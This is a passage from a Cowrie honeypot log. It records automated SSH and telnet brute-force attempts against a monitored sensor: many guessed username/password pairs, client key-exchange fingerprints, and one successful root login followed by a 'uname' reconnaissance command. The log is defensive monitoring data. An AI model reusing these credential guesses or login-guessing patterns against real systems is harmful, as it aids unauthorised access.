a1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:38.556844Z","src_ip":"192.109.200.78","session":"a5c721c71907","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:38.818850Z","src_ip":"192.109.200.78","session":"a5c721c71907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:39.904387Z","src_ip":"192.109.200.78","session":"a5c721c71907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39870,"dst_ip":"159.203.135.109","dst_port":22,"session":"46f77df59c67","protocol":"ssh","message":"New connection: 159.203.92.129:39870 (159.203.135.109:22) [session: 46f77df59c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:39.994812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:40.007704Z","src_ip":"159.203.92.129","session":"46f77df59c67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:40.012179Z","src_ip":"159.203.92.129","session":"46f77df59c67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Florinlaur2005","message":"login attempt [admin/Florinlaur2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:40.041446Z","src_ip":"159.203.92.129","session":"46f77df59c67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:41.049615Z","src_ip":"159.203.92.129","session":"46f77df59c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51624,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0d029f58863","protocol":"ssh","message":"New connection: 192.109.200.78:51624 (10.17.0.5:22) [session: a0d029f58863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:42.521493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:42.526558Z","src_ip":"192.109.200.78","session":"a0d029f58863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:42.622494Z","src_ip":"192.109.200.78","session":"a0d029f58863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:43.259593Z","src_ip":"192.109.200.78","session":"a0d029f58863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:44.344745Z","src_ip":"192.109.200.78","session":"a0d029f58863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":34020,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d90e0c8f224","protocol":"telnet","message":"New connection: 5.42.229.203:34020 (159.203.135.109:23) [session: 9d90e0c8f224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:45.884318Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":34042,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbbd09ab8042","protocol":"telnet","message":"New connection: 5.42.229.203:34042 (159.203.135.109:23) [session: bbbd09ab8042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:45.980240Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51630,"dst_ip":"10.17.0.5","dst_port":22,"session":"45827366ce6e","protocol":"ssh","message":"New connection: 192.109.200.78:51630 (10.17.0.5:22) [session: 45827366ce6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:46.755405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:46.760050Z","src_ip":"192.109.200.78","session":"45827366ce6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:46.844743Z","src_ip":"192.109.200.78","session":"45827366ce6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:47.399374Z","src_ip":"192.109.200.78","session":"45827366ce6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:48.581770Z","src_ip":"192.109.200.78","session":"45827366ce6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":37870,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fec1c471878","protocol":"telnet","message":"New connection: 206.189.71.75:37870 (159.203.135.109:23) [session: 9fec1c471878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:49.719362Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49372,"dst_ip":"10.17.0.5","dst_port":22,"session":"d932bc1089bc","protocol":"ssh","message":"New connection: 192.109.200.78:49372 (10.17.0.5:22) [session: d932bc1089bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:50.895890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:51.053778Z","src_ip":"192.109.200.78","session":"d932bc1089bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:51.057418Z","src_ip":"192.109.200.78","session":"d932bc1089bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:51.478137Z","src_ip":"192.109.200.78","session":"d932bc1089bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.686315298080444,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:51.556988Z","src_ip":"206.189.71.75","session":"54d4cbba26de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:52.563160Z","src_ip":"192.109.200.78","session":"d932bc1089bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49376,"dst_ip":"10.17.0.5","dst_port":22,"session":"35fbfb111c94","protocol":"ssh","message":"New connection: 192.109.200.78:49376 (10.17.0.5:22) [session: 35fbfb111c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:55.166503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:55.170594Z","src_ip":"192.109.200.78","session":"35fbfb111c94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.18397402763367,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:55.204636Z","src_ip":"206.189.71.75","session":"2099939bee67","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:55.252341Z","src_ip":"192.109.200.78","session":"35fbfb111c94","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:55.508600Z","src_ip":"192.109.200.78","session":"35fbfb111c94","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:55.720223Z","src_ip":"192.109.200.78","session":"35fbfb111c94","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:55.724130Z","src_ip":"192.109.200.78","session":"35fbfb111c94","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:55.811547Z","src_ip":"192.109.200.78","session":"35fbfb111c94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:55.817205Z","src_ip":"192.109.200.78","session":"35fbfb111c94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43312,"dst_ip":"10.17.0.5","dst_port":22,"session":"93ffab4114fe","protocol":"ssh","message":"New connection: 192.109.200.78:43312 (10.17.0.5:22) [session: 93ffab4114fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:59.382162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:59.387348Z","src_ip":"192.109.200.78","session":"93ffab4114fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:59.469485Z","src_ip":"192.109.200.78","session":"93ffab4114fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:59.722506Z","src_ip":"192.109.200.78","session":"93ffab4114fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:00.808395Z","src_ip":"192.109.200.78","session":"93ffab4114fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.81950068473816,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:01.950661Z","src_ip":"206.189.71.75","session":"7bba11b84b0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":49078,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb2da65b79cc","protocol":"telnet","message":"New connection: 206.189.71.75:49078 (159.203.135.109:23) [session: bb2da65b79cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:02.457915Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43334,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b354b075a2a","protocol":"ssh","message":"New connection: 192.109.200.78:43334 (10.17.0.5:22) [session: 6b354b075a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:03.400617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:03.409851Z","src_ip":"192.109.200.78","session":"6b354b075a2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:03.493889Z","src_ip":"192.109.200.78","session":"6b354b075a2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:13:03.744243Z","src_ip":"192.109.200.78","session":"6b354b075a2a","protocol":"ssh"}
